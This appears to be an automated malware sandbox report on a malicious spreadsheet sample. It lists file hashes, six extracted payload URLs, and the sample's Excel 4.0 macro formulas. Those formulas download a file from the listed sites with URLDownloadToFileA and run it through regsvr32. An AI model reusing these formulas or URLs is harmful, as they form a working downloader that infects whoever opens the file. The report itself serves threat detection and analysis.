General
-
Target
a7aa543aaa71e9b5266570f55bb15f06a2067b6a3f4bdc38443b9bf9be7f40d2
-
Size
46KB
-
Sample
241120-mc639avenb
-
MD5
c636b1567fd4c099df81614681d80598
-
SHA1
038770ffae27973506094ef78ce8d42ca6456188
-
SHA256
a7aa543aaa71e9b5266570f55bb15f06a2067b6a3f4bdc38443b9bf9be7f40d2
-
SHA512
42c7dcbe3de891a43da9756fcd4a78822ea5f130cb8c4531a72ed2e7731b57d4ee2be5024294ac2dcc7bea54bcee3eb2e79e4d07507491c34ad27705e9aacd78
-
SSDEEP
768:/4xovDOevZCwrvtizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2nrW:/6ovDStT5fTR4Lh1NisFYBc3cr+UqVUf
Malware Config
Extracted
http://consejosdeorlando.com/wp-includes/certificates/v1p9N/
http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/
http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/
https://lifebotl.com/wp-content/233ZS9dDv/
http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/
http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/certificates/v1p9N/","..\enu.ocx",0,0) =IF('EFALGV'!D10<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/","..\enu.ocx",0,0)) =IF('EFALGV'!D12<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/","..\enu.ocx",0,0)) =IF('EFALGV'!D14<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://lifebotl.com/wp-content/233ZS9dDv/","..\enu.ocx",0,0)) =IF('EFALGV'!D16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://tonziradio.com/wp-includes/9rFNsN1RzIOfa4b9hy/","..\enu.ocx",0,0)) =IF('EFALGV'!D18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.cheapmedstore.com/oculiferous/Ogr4KTiQG3riFda/","..\enu.ocx",0,0)) =IF('EFALGV'!D20<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe /s ..\enu.ocx") =RETURN()
Extracted
http://consejosdeorlando.com/wp-includes/certificates/v1p9N/
http://mentalpeaks.pro/kymogram/eU1VLEZ99gyh/
http://www.pancoc.com/wp-admin/O3yPsMRR4CtJ9H/
Targets
-
-
Target
a7aa543aaa71e9b5266570f55bb15f06a2067b6a3f4bdc38443b9bf9be7f40d2
-
Size
46KB
-
MD5
c636b1567fd4c099df81614681d80598
-
SHA1
038770ffae27973506094ef78ce8d42ca6456188
-
SHA256
a7aa543aaa71e9b5266570f55bb15f06a2067b6a3f4bdc38443b9bf9be7f40d2
-
SHA512
42c7dcbe3de891a43da9756fcd4a78822ea5f130cb8c4531a72ed2e7731b57d4ee2be5024294ac2dcc7bea54bcee3eb2e79e4d07507491c34ad27705e9aacd78
-
SSDEEP
768:/4xovDOevZCwrvtizdDTKufT9nz0LTyY1NiMZFYpvrLeci3cr+Uh0VU2nrW:/6ovDStT5fTR4Lh1NisFYBc3cr+UqVUf
Score10/10-
Process spawned unexpected child process
This typically indicates the parent process was compromised via an exploit or macro.
-